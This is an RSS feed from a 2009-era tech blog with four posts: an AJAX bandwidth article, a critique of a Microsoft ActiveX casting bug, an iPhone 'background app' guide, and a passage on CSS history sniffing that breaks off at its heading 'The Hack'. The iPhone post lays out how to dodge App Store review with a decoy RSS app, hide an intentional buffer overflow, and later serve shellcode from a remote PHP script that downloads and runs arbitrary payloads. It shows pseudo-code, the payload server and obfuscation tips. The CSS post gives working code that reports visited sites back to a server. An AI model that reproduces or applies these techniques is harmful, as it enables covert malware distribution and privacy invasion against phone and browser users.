<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Coffee Desk &#187; Programming</title>
	<atom:link href="http://thecoffeedesk.com/news/index.php/category/programming/feed/" rel="self" type="application/rss+xml" />
	<link>http://thecoffeedesk.com/news</link>
	<description>The Leader In Technical News and Commentary</description>
	<lastBuildDate>Fri, 16 Jul 2010 17:39:14 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Use of AJAX To Conserve Bandwidth and Processing</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 19:44:52 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[!cross platform]]></category>
		<category><![CDATA[accessibility]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[bandwidth]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[web darwinism]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=1120</guid>
		<description><![CDATA[Ever noticed in Gmail, Twitter or Facebook how the last portion of the URL (the so-called &#8220;hash&#8221;) changes with each navigation, while the actual URL remains the same?
This unique AJAX technique, employed by some of the top current Web 2.0 apps, has many benefits besides usability: it actually saves the bandwidth of the site by [...]]]></description>
			<content:encoded><![CDATA[<p>Ever noticed in <strong>Gmail</strong>, <strong>Twitter</strong> or <strong>Facebook</strong> how the last portion of the URL (the so-called &#8220;hash&#8221;) changes with each navigation, while the actual URL remains the same?</p>
<p>This unique AJAX technique, employed by some of the top current Web 2.0 apps, has many benefits besides usability: it actually saves the bandwidth of the site by an astounding amount, and defers the latency of the new page&#8217;s loading to the responsibility of the client-side web browser&#8217;s script compilation instead of downloading a new, full page each change in navigation.<br />
<span id="more-1120"></span></p>
<p><strong>The Basis of the Technique</strong></p>
<p>If you want to see this in action, simply click on your replies within Twitter&#8217;s web client, do anything in Gmail/<a href="http://thecoffeedesk.com/news/index.php/2009/11/03/google-wave-review/" title="Google Wave Review" target="_blank">Google Wave</a>, or click a profile/photo in Facebook &#8211; watch the URL, particularly the last part (everything past the &#8216;#&#8217; character, called the &#8220;hash&#8221; by many.)</p>
<p>Basically, it works like this: whenever you perform an action that requires a change in navigation, e.g. clicking a link to go to a profile or to view an email, a JavaScript &#8220;onclick&#8221; event handler for that link calls a shared &#8220;AJAX load this page&#8221; function that begins to load the data required to change the page. </p>
<p>Also, it updates the URL&#8217;s post-hash characters to make the &#8220;new page&#8221; bookmark-friendly in case a user wants to go directly to that page as if it were static HTML instead of a dynamic client-side scripting-dependent page instance. </p>
<p>Likewise, each time a page within Gmail (or whatever app) is loaded, it checks for hash characters and will load the data into the page, transparently to the user. Because of this, most of the time the characters after the hash is simply the latter part of a URL to be inserted into the AJAX function to load the page, e.g. the characters necessary to download a page called &#8220;http://www.gmail.com/&#8221;+hashtag etc.</p>
<p><strong>Benefits of this System: bandwidth</strong></p>
<p>Most professionals use this simple AJAX technique to simplify the navigation of their site and to track user activity, but there is an often-overlooked advantage to using this model: bandwidth conservation and faster loading speed via deferred processing.</p>
<p>Here&#8217;s a rudimentary example: when your web app doesn&#8217;t use AJAX-loading and instead relies on unique page loads each and every time the user navigates to a new page, here is what is sent to the client&#8217;s web browser each time, following server-side processing:</p>
<hr />
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br />
<br />&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&gt;<br />
<br />&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;<br />
<br />&lt;title&gt;Title Here&lt;/title&gt;&lt;script src=&quot;../../script.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br />
<br />&lt;!&#8211; keep in mind that each time this full page is loaded, server-side scripting is executed for tasks like query-string/post-data processing and file inclusion &#8211; therefore heavy processing amounts and file system I/O is required &#8211;&gt;<br />
<br />&lt;link rel=&quot;stylesheet&quot; src=&quot;/style.css&quot; type=&quot;text/css&quot; /&gt;<br />
<br />&lt;meta name=&quot;description&quot; content=&quot;every little character counts!&quot; /&gt;<br />
<br />&lt;/head&gt;&lt;body onload=&quot;load()&quot;&gt;<br />
<br />&lt;!&#8211; site-wide navigation bars, formatting dividers, and other common page elements go here, followed by the actual page-specific content that could have alternatively been loaded directly via AJAX &#8211;&gt;<br />
<br />&lt;/body&gt;&lt;/html&gt;</p>
<hr />
Keep in mind that the example provided only a small subset of what most sites, especially web applications, usually entail within a typical page: most of the time, heavy server-side processing and many scripts/stylesheets are included in every page load along with the sizable chunk of site-wide formatting elements (i.e. div&#8217;s etc.)</p>
<p>Even if the browser caches these files and page snippets, the inclusion statement still represents an unnecessary amount of bandwidth when multiplied by the number of concurrent users. </p>
<p>However, if a page uses AJAX-loading to load new content into the existing page, all of the above example code would only be loaded once, including site-wide elements such as navigation menus and general formatting sections. </p>
<p>Instead, the AJAX would only request &#8220;page-specific&#8221; content such as a particular email&#8217;s content (in the case of Gmail) and insert it within the existing page, which only had to load once. </p>
<p>This way, once the common site elements are loaded into the browser, only the changing content needs to&#8230; well&#8230; change. This can lead to tremendous savings on bandwidth, which is important when many users are hitting the site at once. </p>
<p>(props for still reading this longer-than-normal article &#8211; hang in there!)</p>
<p><strong>Another benefit: Processing speed</strong></p>
<p>When most browsers process a script, they first download the plaintext .js file from the server upon seeing it&#8217;s inclusion statement within the HTML. Then, they compile it directly to native code (or some similar action) and store the compiled JavaScript into the browser&#8217;s cache for future execution. </p>
<p>So, when the initial page is loaded, the included AJAX script for loading future content is compiled and cached, making it&#8217;s future execution very fast. This lowers the latency involved on the client-side when downloading future content to be loaded into the running page, and since bandwidth consumption is kept to that of the content&#8217;s usage only, the process is extremely fast compared to loading a full page each time. </p>
<p><strong>Further Enhancements</strong></p>
<p>If the server and web browser are configured properly, then the <strong>Apache mod_gzip/mod_deflate</strong> could further boost the speed of this process. This puts more of the loading process in the realm of processing and conserves bandwidth more, and qualifies as an enhancement since bandwidth is more of a scarce resource than processing power. </p>
<p>In other words, you&#8217;re more likely to see a quad-core on a DSL or shared cable connection than a Pentium III hooked into a T3 line, so lower bandwidth in favor of processing time in most situations while employing sniffing practices to ensure mobile accessibility. </p>
<p>Speaking of <strong>accessibility</strong>, notice that on most AJAX-employing Web apps that although there is a JavaScript event handler associated with a link, they don&#8217;t forget to keep the link intact: there is no &#8216;href=&#8221;#&#8221;&#8216; in Gmail or Facebook &#8211; a quick look at the status bar while hovering over a link will reveal basic accessibility fundamentals in practice.</p>
<p>This, combined with appropriate JavaScript feature degradation (without resorting to NOSCRIPT tags) will ensure accessibility while using this advanced technique: if the client doesn&#8217;t support AJAX loading or JavaScript at all, then fall back on regular site loading using full page requests.</p>
<p>Since only a negligible amount of users fall into that category anyway (including <strong>Googlebot</strong> and other crawlers), the loss of performance due to a few client requiring full page loads is relatively small. </p>
<p><strong>Final Notes</strong></p>
<p>So, as seen in the examples above, the use of AJAX content loading within web apps, as employed by Gmail and Facebook, has numerous advantages to the site and its usability while remaining transparent to the users.</p>
<p>Best of all, if done correctly, it can be unobtrusive and therefore non-impacting to a site&#8217;s SEO or accessibility. </p>
<p>Almost everything discussed here neglects the role and possible optimization in the server-side scripting involved in all this, but each web app is unique and therefore can be optimized to best suit the situation as far as server-side optimizations go: just keep the main page&#8217;s inclusion rate low so the initial page loads fast, and keep the &#8220;dirty work&#8221; required by the server-side AJAX handler to a minimum. </p>
<p>Also look into distributing the load between several scripts to handle different types of AJAX requests, reducing query-string parameters and the conditionals involved in their processing, and even look into distributed computing (mod_proxy and it&#8217;s family) for self-hosted web apps with large scalability requirements.</p>
<p>In addition, the AJAX-handlers can be easily made into a rudimentary API for a web app you may want to make available for an iPhone/Blackberry app, or if you wish to open it up for any client as Twitter and FMyLife.com have done.</p>
<p>One thing is certain, however: whatever the aim of your web app may be, with very few exceptions, you will almost certainly benefit from this JavaScript AJAX programming technique upon its deployment within your site or app.</p>
<p>I hope this will convince more app authors to move to this system of page loading. Until next time&#8230; <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/" rel="bookmark">Use of AJAX To Conserve Bandwidth and Processing</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on November 8, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/11/08/ajax-url-save-bandwidth-processing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft Can&#8217;t Even Type Cast Correctly</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/07/internet-exploiter/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/07/internet-exploiter/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 14:04:48 +0000</pubDate>
		<dc:creator>Chris</dc:creator>
				<category><![CDATA[Humor]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[bugs]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Internet Exploiter]]></category>
		<category><![CDATA[Internet Explorer]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[zurroboogs]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=877</guid>
		<description><![CDATA[It isn&#8217;t surprising that a bug in the Microsoft Internet Explorer ActiveX controller has caused the flawed browser to be exploited since early July of this year. What is surprising, however, is the careless bug that caused it &#8211; a bad type cast, A.K.A. a single misplaced ampersand (&#8216;&#038;&#8217;) character.

So Microsoft owned up to the [...]]]></description>
			<content:encoded><![CDATA[<p>It isn&#8217;t surprising that a bug in the Microsoft Internet Explorer ActiveX controller has caused the flawed browser to be exploited since early July of this year. What is surprising, however, is the careless bug that caused it &#8211; a bad type cast, A.K.A. a single misplaced ampersand (&#8216;&#038;&#8217;) character.<br />
<span id="more-877"></span></p>
<p>So Microsoft owned up to the bug in their <a href="http://blogs.msdn.com/sdl/archive/2009/07/28/atl-ms09-035-and-the-sdl.aspx" rel="nofollow" title="Microsoft security" target="_blank">&#8220;security&#8221; blog</a>, where they were even nice enough to disclose the offending lines of code. </p>
<p><strong>The Typo</strong></p>
<p>The main cause of the bug was a single misplaced ampersand, used to reference the memory address of a particular variable in C and C++ programming. But when used to denote the address of a pointer (itself a memory reference to another variable), bad things happen. Namely, security issues. </p>
<p>Here is the code that hackers found useful in the latest ActiveX exploit for the browser:</p>
<pre><code markup="none">
__int64 cbSize;
hr = pStream->Read((void*) &#038;cbSize, sizeof(cbSize), NULL);
BYTE *pbArray;
HRESULT hr = SafeArrayAccessData(psa, reinterpret_cast(&#038;pbArray));
hr = pStream->Read((void*)&#038;pbArray, (ULONG)cbSize, NULL);
</code></pre>
<p>The first pStream->Read() call is valid &#8211; if you notice, the ampersand is used to reference the address of the cbSize variable, since Read() requires a reference rather than a pass-by-value argument. </p>
<p>The second pStream->Read() call, however, uses the ampersand to denote the address of `BYTE *pbArray`. oops. </p>
<p>pbArray is a pointer, which means that pbArray stores the memory location that contains the actual value, with the value itself referenced at &#8216;*pbArray&#8217; (asterisks are used to retrieve the value a pointer points to). </p>
<p>So instead of passing a reference to the value stored at &#8216;*pbArray&#8217;, the Read() function was passed a reference to a pointer (a reference to a reference, if you will). With pbArray being an array and all, this could lead to all sorts of exploits &#8211; arrays are common causes of stack-based programming attacks and buffer overflows. </p>
<p><strong>The Patch</strong></p>
<p>The valid way to use the code would have been this:</p>
<pre><code markup="none">
__int64 cbSize;
hr = pStream->Read((void*) &#038;cbSize, sizeof(cbSize), NULL);
BYTE *pbArray;
HRESULT hr = SafeArrayAccessData(psa, reinterpret_cast(&#038;pbArray));
hr = pStream->Read((void*)pbArray, (ULONG)cbSize, NULL); // pbArray is already a reference
</code></pre>
<p>Voila, bug fixed and no more exploiting this bug. Not that there isn&#8217;t a history of exploitable bugs in ActiveX or anything <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><strong>The Apology</strong></p>
<p>So what did Microsoft have to say about being caught with their pants down? Well, Microsoft&#8217;s Michael Howard had this to say on his blog:</p>
<blockquote><p>I want to drill a little deeper into casting issues. This will be a side project for me over the next few months, as I wade through bug databases and code to see if there are other related issues. I’ll also speak to various static analysis and C/C++ language experts here at Microsoft and across the industry to get their views and insight. If you have a professional opinion on casting issues, please feel free to let me know through this blog.</p></blockquote>
<p>Translation: we&#8217;ve fucked up here and there, and I&#8217;ve got to dig through the code and find the issues. </p>
<p>I don&#8217;t claim to be a C/C++ god, and I understand that at 3am stuff as simple as this tend to run together. I&#8217;m just surprised that Microsoft doesn&#8217;t check behind its individual programmers a little better than that, and the fact they admitted to using an older library to accomplish this bug and even told the compiler to ignore the issue. </p>
<p>And all the more reason, we&#8217;re talking about ActiveX here, a security nightmare given its past history. Good job on finding the one typo Microsoft, and a crate of Red Bull awaits you as you find all the other issues in what can only be described as the worst &#8220;secure&#8221; code I&#8217;ve ever seen. </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/07/internet-exploiter/" rel="bookmark">Microsoft Can&#8217;t Even Type Cast Correctly</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 7, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/07/internet-exploiter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPhone Background Apps Without Jailbreaking Or Push</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 17:25:22 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[advanced]]></category>
		<category><![CDATA[ARM]]></category>
		<category><![CDATA[daemon]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=849</guid>
		<description><![CDATA[This is an experimental way to accomplish the implementation of a background app/daemon on an Apple iPhone. As of this writing, the iPhone SDK does not allow the development of &#8220;true&#8221; Unix-style background processes (daemons) within the iPhone OS (which itself is based on Darwin Unix).
This method includes some advanced programming topics, such as shellcode [...]]]></description>
			<content:encoded><![CDATA[<p>This is an experimental way to accomplish the implementation of a <strong>background app/daemon on an Apple iPhone</strong>. As of this writing, the <strong>iPhone SDK</strong> does not allow the development of &#8220;true&#8221; Unix-style background processes (<strong>daemons</strong>) within the iPhone OS (<strong><a href="http://thecoffeedesk.com/news/index.php/2009/07/20/iphone-firmware-definition/" title="iPhone OS firmware is Unix">which itself is based on Darwin Unix</a></strong>).</p>
<p>This method includes some <strong>advanced programming topics</strong>, such as <strong>shellcode</strong> and therefore requires some basic assembly experience, <strong>Unix system call</strong> knowledge, and optimally some <strong>ARM</strong> experience.<br />
<span id="more-849"></span></p>
<p><strong>Obligatory Disclaimer</strong></p>
<p>This is a theory and therefore only published for experimental purposes &#8211; don&#8217;t actually implement any of these methods unless you have money for a lawyer or otherwise wish to royally piss off Apple. I&#8217;m not responsible if you break something. </p>
<p><em>If you don&#8217;t know what you&#8217;re doing, then don&#8217;t do it.</em></p>
<p><strong>Overview</strong></p>
<p>Right. With the disclaimer out of the way, let&#8217;s talk about what exactly we want to accomplish and the obstacles we face in trying to do this:</p>
<ul>
<li><strong>Write an app that runs a background app/daemon on the iPhone</strong></li>
<li><strong>Avoid detection by Apple via code obfuscation</strong></li>
<li><strong>Get the app on the app store</strong></li>
<li><strong>&#8230;and don&#8217;t get sued in the process</strong></li>
</ul>
<p><strong>Don&#8217;t Get Caught</strong></p>
<p>Running a background daemon in any Unix-based OS is not very hard, but trying to do it on Apple&#8217;s beloved (and thoroughly locked-down) iPhone OS without jailbreaking it first is going to be difficult without some fancy code obfuscation. </p>
<p>But, that said, there is a will and there is a way. </p>
<p><strong>The Basic Example</strong></p>
<p>So let&#8217;s say we want a background app that (for the sake of example) logs the time and date to a file every hour on the hour, even while running another app in the foreground. We&#8217;ll call it &#8220;Logger&#8221;, because I lack nomenclature creativity.</p>
<p>The aim for the app is to run in the background and log to a text file, presumably stored within the default Logger.app directory. But, Apple frowns on running apps in the background, so this is where creativity and psychology comes into play. </p>
<p>We know what we want to do, but we don&#8217;t want <em>Apple</em> to know what we want to do. So before we go any further, let&#8217;s talk about what Apple sees when they review the app.</p>
<p><strong>Knowing What Apple Is Looking For</strong></p>
<p>When you upload your application to Apple via iTunes connect and it&#8217;s &#8220;in review&#8221;, Apple tears the app apart. </p>
<p>I&#8217;m talking disassembly, I/O monitoring, CPU usage monitoring, and detailed network analysis. They will know every Darwin/Mach system call your application is making, and the conditional logic behind them. </p>
<p>(For a detailed diagram of how these compare with the iPhone SDK and the Objective-C runtime, refer to <strong><a href="http://thecoffeedesk.com/news/index.php/2009/05/17/iphone-architecture/" title="iPhone OS Architecture">this post</a></strong> by yours truly, which provides a detailed overview of the iPhone architecture.)</p>
<p>So putting any of your daemon&#8217;s desired background code within your app as it goes up for review is a bad idea. The system calls and nature of the code will surely raise a red flag during review and they&#8217;ll pull the app (and note the action on your developer profile).</p>
<p>But, with a little trickery, we can still get the app to pass through Apple as &#8220;legit&#8221; while accomplishing what we wish to after app approval. </p>
<p><strong>The Front</strong></p>
<p>If we just submit a raw-dog app that does nothing but loop a function that looks suspiciously like a daemon, even all the obfuscation in the world won&#8217;t hide what we&#8217;re trying to get away with. </p>
<p>Furthermore, it would not be a &#8220;true&#8221; background process since the app terminates itself to yield to others eventually upon the press of the menu button (effectively killing all execution and child processes).</p>
<p>So, let&#8217;s introduce a &#8220;front&#8221;. Ever watched the Godfather or a similar mafia movie? Fronts were those small businesses that were merely a legitimate-looking, money-laundering front to a gambling or alcohol racket. And that&#8217;s exactly what this app needs to be in order to hide what&#8217;s really going on behind the scenes.</p>
<p>The &#8220;front&#8221; in our app will be a web view and RSS feed client. We&#8217;re going to make it look like our app simply displays a simple web view that follows a link from an RSS feed, with some custom logos around it and all to make it look legit. Simple enough, right?</p>
<p><strong>The Switch</strong></p>
<p>So our app currently appears to be a simple RSS client that opens up a web view from the news feed of our website. And that&#8217;s exactly what it will do, until we make the &#8220;switch&#8221; for it to do what we intended for it to do all along. </p>
<p>The &#8220;trigger&#8221; for this is relatively simple: within the RSS client, put in a conditional that appears along the lines of this pseudo-code:</p>
<pre><code markup="none">
if (RSS feed is a redirect to /error.php) { // error.php is our remote and malicious script
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// code to make the switch, detailed below
return;
}
// "else" continue happily as the simpleton RSS/UIWebView app
</code></pre>
<p>The aim here is this: after Apple approves the simple RSS client app and it hits the store, we can manually redirect the RSS feed to /error.php, thus satisfying the condition and making the switch.</p>
<p>Leaving out the <strong>else</strong> makes it less obvious that we&#8217;re changing the course of the app if the condition is satisfied, with the <em>return</em> statement doing the <em>else</em>&#8217;s job just the same (and obfuscated at the assembly level). </p>
<p>The unused NSString within the satisfied error conditional is to make it look like we&#8217;re going to really handle an error, as Apple would see it during the inspection process.</p>
<p>So, how do we do this almighty &#8220;switch&#8221;? This is the tricky part&#8230;</p>
<p><strong>Implementing The Switch</strong></p>
<p>Switching from a &#8220;dumb&#8221; RSS reader to the initialization of a Unix daemon is no easy task to hide from Apple, so we have to get really creative. The solution is to use <strong><a href="http://en.wikipedia.org/wiki/Shellcode" title="Wikipedia: Shellcode" target="_blank" rel="nofollow">Shellcode</a></strong>, which is a set of executable (ARM) opcodes placed into &#8220;read-only&#8221; buffer and executed. </p>
<p>Refer to <strong><a href="http://www.milw0rm.com/papers/51" title="Shellcode paper" target="_blank">this paper</a></strong> to brush up on shellcode implementation. The opcodes in the guide are for x86, but a cross-compiler would allow easy development of an ARM executable for what you desire.</p>
<p>So we&#8217;d make our /error.php webpage return some ARM opcodes, and &#8220;accidentally&#8221; execute them on the iPhone like this:</p>
<pre><code markup="none">
// beginning where we left off...
if (RSS feed is a redirect to /error.php) {
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// switch code:
char exe[1][BUF]; // Array of C-strings, each of size BUF (defined elsewhere)
exe[0] = http_read('site.com/error.php'); // more on this below
/* appear to do something with exe[0], then: */
        int (*sh)(); // setup shellcode function pointer
        ret = (sh(*)())exe[1]; // *oops*
        (int)(*ret)(); // could even be obfuscated even further; details below
return;
}
</code></pre>
<p>That was the unobfuscated version of what aims to execute code retrieved from our php script, error.php:</p>
<pre><code markup="none">
<?php
/* (this is the script you use AFTER the app's approval; else look legit) */
header('Content-type: octet-stream'); // we're sending bytes
for($i=0;$i<=100;$i++) echo "\0"; // fill up exe[0] first, then:
// echo the desired executable code (this does example does nothing)
echo "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb2\x0e\x59\xb3\x01
\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65
\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a";
// the above code should be deposited into exe[1] (buffer overflow)
exit(0);
?>
</code></pre>
<p>So the error.php that was valid during app review gets changed to the now-malicious script above upon the app&#8217;s deployment on the app store, and the app insecurely reads the octets returned from it into a buffer. The for loop fills up exe[0], then exe[1] gets the executable &#8220;payload&#8221; code that we run on the device. </p>
<p>This can be a shell, the daemon itself, or a downloader for the actual daemon (as I describe below).</p>
<p><strong>How It All Comes Together</strong></p>
<p>The app is published as a generic RSS and UIWebView client, but after app store approval, a change made on the remote server (redirecting the RSS feed to the newly malicious /error.php) makes the iPhone app discreetly execute any code you wish via an obfuscated shellcode trick and an &#8220;accidental&#8221; buffer overflow.</p>
<p>The C code I provided above was not obfuscated enough, and would more than likely raise a red flag for your app during approval. Obfuscate it more with a purposely-insecure sprintf() function misuse or mixing valid and invalid uses of function pointers within your code to mask the switch even more. </p>
<p>Also, if your **exe string gets placed into a read-only stack section of the resulting executable, you may have to do some manual assembly editing and linking.</p>
<p><strong>Shellcode contents</strong></p>
<p>As for the shellcode itself, I recommend this: have error.php provide the shellcode of `wget <some file>` and `exec(<some file>)`, where the file in question is a precompiled ARM executable that you wish to run in the background. </p>
<p>This circumvents having to use any of your daemon&#8217;s code within your app (visible by Apple eyes), and also allows a stealthier way of doing what you want to go unnoticed. </p>
<p>In the case of our &#8220;Logger&#8221; example, the shellcode would download a precompiled ARM executable that does what we want it to do, and the shellcode downloaded from error.php would be the opcode-representation of the following pseudo-code:</p>
<pre><code markup="none">
if(the ARM executable is already present):
execute it // system("./logger &#038;"); <- the '&#038;' is bourne for "background"
else:
download the logger executable from the server and execute it in the background
</code></pre>
<p>Even better, you can change error.php's shellcode to do something else later. Beat the two week app store update review process, doesn't it? <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Final Notes</strong></p>
<p>This is a very hackish way to <strong>execute whatever code you want on an iPhone without jailbreaking it</strong> (and even distributing it via the app store!)</p>
<p>Just remember: provide a pretty good front so Apple thinks its a legitimate program, and obfuscate your intentions however you can. Provide real-looking strings that make it look like the "error handler" (A.K.A. "switch" as I called it here) look like a non-malicious piece of code. </p>
<p><strong>Security specialists are going to die when they read this</strong>. This clearly details how to run any code you wish within the background of the iPhone, and even do so via the app store. </p>
<p>So if Johhny Blackhat wants your iCal entries, all he's got to do is write up some shellcode to get it, have a free game on the app store download and execute it while you play his "game".</p>
<p>I wouldn't be surprised if I'm not the first one to think of this, or if people have been doing this already. </p>
<p>The biggest thing is having the ability to change the entire app's execution based on a remote change. This is key in allowing the app to look legit during approval, yet allowing your dirty work to continue once it goes live on the App Store. </p>
<p>And with so many apps out there, nobody at Apple will have time to verify that all of them are legit. </p>
<p>Just remember: I'll take credit for being the first to realize and publish how to implement this, but I don't accept any responsibility for how people use/misue this <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/" rel="bookmark">iPhone Background Apps Without Jailbreaking Or Push</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 6, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Remotely Viewing A User&#8217;s Web History With CSS</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/02/view-remote-browser-history/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/02/view-remote-browser-history/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 23:03:50 +0000</pubDate>
		<dc:creator>Stephen</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[The Internet]]></category>
		<category><![CDATA[compromise]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[Internet Exploiter]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[privacy]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=804</guid>
		<description><![CDATA[Throughout the years, there have been several JavaScript/CSS/VBScript exploits in various browsers (and by &#8220;various&#8221;, I mean mostly Internet Explorer) that allow a remote site to view a user&#8217;s complete web history. 
There is a technique, however, for easily recording a user&#8217;s browsing history without relying on a remote code execution exploit, and the only [...]]]></description>
			<content:encoded><![CDATA[<p>Throughout the years, there have been several JavaScript/CSS/VBScript exploits in various browsers (and by &#8220;various&#8221;, I mean mostly <strong>Internet Explorer</strong>) that allow a remote site to <strong>view a user&#8217;s complete web history</strong>. </p>
<p>There is a technique, however, for easily recording a user&#8217;s browsing history without relying on a remote code execution exploit, and the only requirement is a fairly W3C CSS-compliant browser. That&#8217;s right &#8211; <strong>even JavaScript-disabled visitors can still have their browsing histories compromised with this technique</strong>.<br />
<span id="more-804"></span></p>
<p><strong>The Disclaimer</strong></p>
<p>This code is provided as an example of a flaw which spans several web browsers, but is <strong>not meant to be implemented on an actual functional web site <a href="http://thecoffeedesk.com/news/index.php/2008/09/25/the-coffee-desk-flagged-by-mcafee/" title="we've been flagged before">outside of the purpose of demonstration</a></strong> (as we provide below). Production usage of this code is considered a violation of privacy from both the standpoint of the end-user(s) and law enforcement in some regions.</p>
<p><em>In a nutshell:</em> This is an example of a flaw, don&#8217;t actually use this. </p>
<p><strong>The Standard</strong></p>
<p>W3C CSS standards state that if a hyperlink has been visited and there is an &#8216;a:visited&#8217; pseudo-class CSS definition for said link, then to format the link according to the CSS statements within the &#8216;a:visited&#8217; definition. </p>
<p>So, by adding something like the following (demonstration-only; see above) code, you can detect what sites or pages a user has been to, granted you know what you are looking for:</p>
<p><code markup="none"><br />
/* Hidden so the user doesn't see them */<br />
a {visibility:hidden;} /* alternatively, background-image:url('/not.png'); etc. */<br />
a.slashdot:visited{background-image:url('/v.png?site=slashdot');visibility:hidden;}<br />
a.digg:visited{background-image:url('/v.png?site=digg');visibility:hidden;}<br />
</code><br />
And the HTML:<br />
<code markup="none"><br />
<a class="digg" href="http://digg.com/">.</a><br />
<a class="slashdot" href="http://slashdot.org/">.</a><br />
</code></p>
<p>The above code uses the <strong>CSS</strong> standard as an exploit to determine whether the user has visited Slashdot.org or Digg.com. The same code can be applied to any site you wish to detect, and so far works in all pseudo-class supporting browsers.</p>
<p>This excludes Internet Explorer 6, but there are other <strong>ActiveX exploits</strong> you can use for that instead <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>However, the code also requires some crafty PHP code for recording the information on the server via the request for the &#8216;v.png&#8217; file:</p>
<p><strong>The Hack</strong></p>
